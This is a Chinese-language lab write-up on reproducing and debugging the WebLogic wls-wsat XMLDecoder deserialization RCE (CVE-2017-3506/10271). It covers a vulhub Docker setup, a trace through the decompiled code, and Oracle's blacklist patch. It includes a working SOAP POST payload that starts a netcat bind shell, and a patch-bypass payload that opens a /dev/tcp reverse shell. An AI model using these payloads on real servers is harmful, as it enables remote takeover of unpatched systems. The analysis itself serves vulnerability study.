0x00 前言
第一次写调试漏洞的blog,参考了好多师傅的博客,可能有些许的小错误,还望大师兄们指点指点
0x01 漏洞编号:CVE-2017-3506 & CVE-2017-10271 (wls-wsat 远程命令执行绕过漏洞)
影响版本
Oracle WebLogic Server10.3.6.0.0 版本
Oracle WebLogic Server12.1.3.0.0 版本
Oracle WebLogic Server12.2.1.1.0 版本
Oracle WebLogic Server12.2.1.2.0 版本
wls-wsat目录表
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
0x02 漏洞复现
0x03 测试环境搭建
利用vulhub中开源的docker-compose.yml进行安装
1 2 3 4 5 6 7
| version: '2' services: weblogic: image: vulhub/weblogic ports: - "7001:7001" - "8899:8899"
|
最底下一行是为后面IDEA远程debug需连接服务而增加的额外端口映射关系
然后执行docker-compose up -d
,需要等待较长时间进行安装
安装过后,docker ps -a
可查看所有容器,此时docker exec -i -t <容器ID> /bin/bash
可进入交互式shell
修改脚本配置启动debug模式。~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
vim中查找到
在此之前添加两行代码
然后保存退出,运行setDomainEnv.sh
后重启容器,docker restart <容器ID>
重启过后,netstat -ntpl
命令查看是否开启了7001、8899端口
由于weblogic并不是开源项目,故没有源代码,只能用IDEA反编译打开并调试
将Weblogic中的包进行拷贝出来
docker cp root_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic
docker cp root_weblogic_1:/root/Oracle/Middleware/modules ./modules
然后将虚拟机中这两个文件拷贝至宿主机中,并用IDEA导入,
并将server/lib和/root/Oracle/Middleware/modules这两个文件夹add to library
完了之后就能打开其中的jar包和war包了
这时我们能开始配置远程调试了
打开菜单栏>运行>Configurations
进行配置
打开Debug, 若此时控制台出现了
Connected to the target VM, address: '192.168.114.128:8899', transport: 'socket'
说明已配置成功
0x04 测试POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.114.128:7001 Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Connection: close Content-Type: text/xml Content-Length: 1403
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index = "0"> <string>/bin/sh</string> </void> <void index = "1"> <string>-c</string> </void> <void index = "2"> <string>nc -lp 8888 -e /bin/bash</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
0x05 复现及分析过程
发包后,自动开始debug
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; if (var1.getMessage() != null) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if (var3 != null) { this.readHeaderOld(var3); this.isUseOldFormat = true; }
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if (var4 != null) { this.readHeader(var4); } }
return super.processRequest(var1); }
|
此方法是将收到的post数据中</work:WorkContext>
标签内的内容传入readHeaderOld方法中,继续跟进
weblogic.wsee.jaxws.workcontext.WorkContextTube
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| protected void readHeaderOld(Header var1) { try { XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter(); ByteArrayOutputStream var4 = new ByteArrayOutputStream(); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); this.receive(var6); } catch (XMLStreamException var7) { throw new WebServiceException(var7); } catch (IOException var8) { throw new WebServiceException(var8);
|
其中XMLStreamWriter
为:
*The XMLStreamWriter interface specifies how to write XML. The XMLStreamWriter does not perform well formedness checking on its input. *
这个接口指定了如何编写XML,并且对其输入没有很好地执行格式检查
然后创建了一个ByteArrayInputStream()对象,并且实例化后将var4内容作为参数传入构造方法中,
其中var4的内容,此时为:
继续跟进WorkContextXmlInputAdapter类中内的构造方法
weblogic.wsee.workarea.WorkContextXmlInputAdapter
1 2 3
| public WorkContextXmlInputAdapter(InputStream var1) { this.xmlDecoder = new XMLDecoder(var1); }
|
此处将传入的内容进行反序列化,而且没有对其内容进行任何处理!!!
补充一点:
weblogic中使用了8个类似于CoordinatorPortType的接口,所以均能利用
0x06 漏洞起因及补丁
Weblogic暴露或间接暴露反序列化 API ,参数可控并未过滤,导致攻击者可以精心构造反序列化对象并执行恶意代码
以下是Oracle官方在2017年4月发布的补丁
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public WorkContextXmlInputAdapter(InputStream is) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { int next = 0; next = is.read(); while (next != -1) { baos.write(next); next = is.read(); } } catch (Exception e) { throw new IllegalStateException("Failed to get data from input stream", e); } validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray())); } private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException e) { throw new IllegalStateException("Parser Exception", e); } catch (SAXException e) { throw new IllegalStateException("Parser Exception", e); } catch (IOException e) { throw new IllegalStateException("Parser Exception", e); } }
|
在反序列化之前增加了一个validate方法,假如qName为object就异常终止程序。但是这种黑名单式的检测,并没有彻底修复,于是用以下Exp可以成功bypass。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>/bin/bash -i > /dev/tcp/xxx.xxx.xxx.xxx/8888 0<&1 2>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
但是在10月份的补丁中,该漏洞已被修复。
0x07 参考链接
从0开始学习WebLogic(Java)反序列化 (1)
【漏洞预警】Oracle WebLogic wls-wsat RCE CVE-2017-10271 & CVE-2017-3506
关于近期发生的利用weblogic漏洞进行挖矿事件的漏洞简要分析
CVE-2017-3506 & 10271:Weblogic 远程代码执行漏洞分析及复现笔记